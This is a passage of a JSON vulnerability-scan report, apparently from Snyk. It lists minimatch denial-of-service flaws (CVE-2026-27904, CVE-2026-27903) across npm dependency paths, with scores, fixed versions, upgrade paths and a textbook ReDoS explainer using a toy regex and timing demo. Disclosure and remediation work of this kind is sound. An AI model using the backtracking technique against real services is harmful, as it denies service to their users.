{ "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": 